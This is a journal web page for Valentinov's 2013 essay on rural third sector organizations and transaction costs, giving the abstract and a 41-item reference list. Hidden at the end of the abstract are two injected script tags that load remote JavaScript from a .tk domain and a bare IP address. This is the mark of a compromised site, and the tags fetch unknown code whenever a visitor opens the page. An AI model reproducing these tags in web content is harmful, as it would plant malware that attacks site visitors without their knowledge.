ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

UDS: 631.1.016:338.5
Інституціональні проблеми розвитку аграрної сфери

Third sector organizations in rural development: a transaction cost perspective / Valentinov V.L. // Ekonomika APK. - 2013. - № 1 - P. 104

In many parts of the world, rural development is supported by third sector organizations, such as nongovernmental organizations, farmer associations, and cooperatives. This essay develops a transaction cost explanation of these organizations’ role in rural areas. Since the traditional transaction cost theory is concerned with the choice of governance mechanisms within the for-profit sector, this essay adopts an alternative conceptualization of the notion of transaction cost by building on the theory of the division of labour. This theory regards transaction cost as a constraint on the division of labour causing the replacement of exchange with self-provisioning. The proposed transaction cost explanation of rural third sector organizations consists of two arguments: 1) third sector organizations embody partial reliance on self-provisioning; and 2) rural areas exhibit rurality-specific transaction cost acting as a constraint on the division of labour and thus creating a niche for third sector organizations. The essay concludes with suggesting a research program on developing an economic theory of the rural third sector. Figs: 1. Refs: 41.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: rural development, transaction costs, third sector organizations, self-provisioning

References

  1. Alchian, A. & Demsetz, H. (1972). Production, information costs, and economic organization. American Economic Review 62(5): 772-795.
  2. Baum, S., & Weingarten, P. (2004). Typisierung landlicher Raume in Mittel- und Osteuropa. Europa Regional 12(3): 149-158
  3. Becker, G. & Murphy, K. (1992). The division of labor, coordination costs, and knowledge. Quarterly Journal of Economics 107(4): 1137-1160.
  4. Bonus, H. (1986). The cooperative association as a business enterprise: a study in the economics of transactions. Journal of Institutional and Theoretical Economics 142: 310-399.
  5. Coase, R. (1937). The nature of the firm. Economica 4: 386-405.
  6. Commission for Rural Communities 2006. Rural disadvantage: reviewing the evidence. London: Commission for Rural Communities.
  7. Demsetz, H. (1997). The economics of the business firm: seven critical commentaries. Cambridge: Cambridge University Press.
  8. Goodwin, M. (1998). The governance of rural areas: Some emerging research issues and agendas. Journal of Rural Studies 14(1): 5-12.
  9. Hansmann, H. (1987). Economic theories of nonprofit organization. In: Powell, W. (ed.). The Nonprofit Sector: A Research Handbook. New Haven et al.: Yale University Press. p. 27-42.
  10. Hueth, B. & Marcoul, P. (2003). An essay on cooperative bargaining in U.S. agricultural markets. Journal of Agricultural & Food Industrial Organization 1(1): Article 10.
  11. Kendall, L., Knapp, M. & Forder, J. (2006). Social care and the nonprofit sector in the Western developed world. In: Powell, W. and Steinberg, R. (eds). The Nonprofit Sector: A Research Handbook, 2nd Ed. New Haven et al.: Yale University Press. p. 415-431.
  12. Kydd, J. & Dorward, A. (2004). Implications of market and coordination failures for rural development in least developed countries. Journal of International Development 16: 951-970.
  13. Mahoney, J. (1992). The choice of organizational form: vertical financial ownership vs. other methods of vertical integration. Strategic Management Journal 13: 559-584.
  14. Menard, C. (2004). The economics of hybrid organizations. Journal of Institutional and Theoretical Economics 160: 1-32.
  15. OECD 2006. Das neue Paradigma fur den landlichen Raum: Politik und Governance. Paris: OECD Publications.
  16. Ott, S. (2001). Introduction to the nonprofit sector. In: Ott, S. (ed.). The Nature of the Nonprofit Sector. Boulder, Westview Press. p. 179-189.
  17. Peterson, C., Wysocki, A., & Harsh, S. (2001). Strategic choice along the vertical coordination continuum. International Food and Agribusiness Management Review 4: 149-166.
  18. Pindus, N. (2001). Implementing welfare reform in rural counties. Washington, D.C.: The Urban Institute.
  19. Poteete, A., & Ostrom, E. (2008). Fifteen years of empirical research on collective action in natural resource management: struggling to build large-N databases based on qualitative research. World Development 36(1): 176-195.
  20. Renting, H., Marsden, T. & Banks, J. (2003). Understanding alternative food networks: exploring the role of short food supply chains in rural development. Environment and Planning A 35(3): 393 - 411.
  21. Salamon, L., Sokolowski, S. & List, R. (2003). Global civil society: an overview. Baltimore, MD: The Johns Hopkins University Center for Civil Society Studies.
  22. Smith, A. (1981). An inquiry into the nature and causes of the wealth of nations, Vol. 1. Indianapolis: Liberty Fund.
  23. Staatz, J. (1987). Farmers' incentives to take collective action via cooperatives: a transaction cost approach. In: Royer, J. (ed.). Cooperative theory: new approaches. Agricultural Cooperative Service Report 18. Washington, DC: USDA. p. 87-107.
  24. Steinberg, R. (2006). Economic theories of nonprofit organization. In: Powell, W. and Steinberg, R. (eds). The Nonprofit Sector: A Research Handbook, 2nd Ed. New Haven et al.: Yale University Press. p. 117-139.
  25. Terluin, I. (2001). Rural regions in the EU: exploring differences in economic development. Utrecht [u.a.]: Koninklijk Nederlands Aardrijkskundig Genootschap.
  26. Uphoff, N. (1993). Grassroots organizations and NGOs in rural development: opportunities with diminishing states and expanding markets, World Development 21(4): 607-622.
  27. Valentinov, V. (2012). Toward a critical systems perspective on the nonprofit sector. Systemic Practice and Action Research 25(4): 355-364.
  28. Valentinov, V. (2008a). The economics of nonprofit organization: in search of an integrative theory. Journal of Economic Issues 42(3): 745-761.
  29. Valentinov, V. (2008b). The transaction cost theory of the nonprofit firm: beyond opportunism. Nonprofit and Voluntary Sector Quarterly 37(1): 5-18.
  30. Valentinov, V. (2008c). Non-market institutions in economic development: the role of the third sector. Development and Change 39(3): 477-485.
  31. Valentinov, V. (2007). Why are cooperatives important in agriculture? An organizational economics perspective. Journal of Institutional Economics 3(1): 55-69.
  32. van der Ploeg, J., Renting, H., Brunori, G., Knickel, K. Mannion, J., Marsden, T., de Roest, K., Sevilla-Guzman, E. & Ventura, F. (2000). Rural Development: From Practices and Policies towards Theory. Sociologia Ruralis 40(4): 391-408.
  33. Weber, B., Duncan, G., & Whitener, L. (eds) (2002). Dimensions of welfare reform. Kalamazoo, MI: W. E. Upjohn Institute of Employment Research.
  34. Weisbrod, B. (1988). The nonprofit economy. Cambridge, MA: Harvard University Press.
  35. Williamson, O. (1985). The economic institutions of capitalism: firms, markets, relational contracting. New York: Free Press.
  36. Williamson, O. (1991). Comparative economic organization: the analysis of discrete structural alternatives. Administrative Science Quarterly 36: 269-96.
  37. Williamson, O. (1996). The mechanisms of governance. Oxford: Oxford University Press.
  38. Williamson, O. (2002). The theory of the firm as governance structure: from choice to contract. Journal of Economic Perspectives 16(3): 171-195.
  39. Woolcock, N., & Narayan, D. (2000). Social capital: Implications for development theory, research, and policy. World Bank Research Observer 15(2): 225-249.
  40. Yang, X. & Borland, J. (1991). A microeconomic mechanism for economic growth. Journal of Political Economy 99(3): 460-82.
  41. Yates, H. (2002). Supporting rural voluntary action. London: National Council for Voluntary Organizations.
Read article: 13_01_16.pdf